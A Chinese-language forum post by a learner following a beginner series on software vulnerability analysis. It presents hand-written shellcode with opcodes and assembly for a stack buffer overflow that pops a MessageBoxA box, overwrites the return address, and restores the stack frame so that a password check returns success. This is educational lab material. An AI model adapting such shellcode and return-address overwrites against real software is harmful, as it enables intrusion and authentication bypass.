最近学习failwest的软件漏洞分析入门教学系列,也没权限跟帖,所以发这来了
大家也可以去看看,学习学习,挺有意思的
http://bbs.pediy.com/showthread.php?t=56445

原帖讲得很明白,我也给出自己的成果,包括帖中提出的安全退出部分。

改了一下原帖汇编码,以适应我的机子,当然要显示我自己的id "xiaca"

机器代码(16进制)   汇编指令               注释
BB 61616161           MOV EBX,0x61616161    其实就为了最后的'a'
C1EB 18               SHR EBX,0x18          完成串尾"a\0"
53                    PUSH EBX              存入栈
68 78696163           PUSH 0x63616978       存入栈"xiac";

8BC4                  MOV EAX,ESP           eax里是字符串"xiaca"指针
33DB                  XOR EBX,EBX           ebx清0
53                    PUSH EBX              四个参数按照从右向左的顺序入栈,分别为:
                                            (0,"xiaca","xiaca",0)
                                            消息框为默认风格,文本区和标题都是"xiaca"
50                    PUSH EAX
50                    PUSH EAX
53                    PUSH EBX
B8 EA07D577           MOV EAX,0x77D507EA    装载MessageBoxA入口地址,要改为自己机器上的函数入口地址
FFD0                  CALL EAX              调用MessageBoxA
.......                                     填充0x90 -- nop指令
7C FB 13 00                                 最后是返回指令地址;根据自己程序情况修改,
我用od跟踪,取的是char password[1024];的地址,原文取的是char buffer[44];的地址,
我认为不安全,因为函数执行完后, buffer空间是被忽略的,执行这些附加代码后,
栈的使用将有覆盖附加代码的危险;如果password是堆里动态分配的话就不行了,那么使用buffer地址的话,
应该在使用栈前进行栈帧分配才行,当然用完后恢复栈平衡


安全退出                         

有人直接调用exit退出,我觉得不好,我想跳到函数返回继续运行

那么安全上讲应在跳转前恢复到原来正确栈帧,
栈帧的ebp被覆盖,无法定位,我是直接指定的,
跳转代码的地址也没法自动定位,也是直接指定,
这两个值根据自己情况在od中获取,
esp可以根据栈平衡来恢复
所以我的退出代码如下
 
83C4 08         ADD ESP,8           MessageBoxA调用会自动平衡掉4个参数,所以只需
                                    平衡掉字符串"xiaca"的两次push即可
BD FF80FF13     MOV EBP,0x13FF80FF  回复EBP到0x0013ff80,为了指令中没有00,加点处理
C1ED 08         SHR EBP,8
33C0            XOR EAX,EAX         改变函数verify_password返回,使成功
BB FF181140     MOV EBX,0x401118FF  回复EBP到0x00401118,为了指令中没有00,同上处理
C1EB 08         SHR EBX,8
FFE3            JMP EBX             跳转执行

最终文件


运行结果


确定后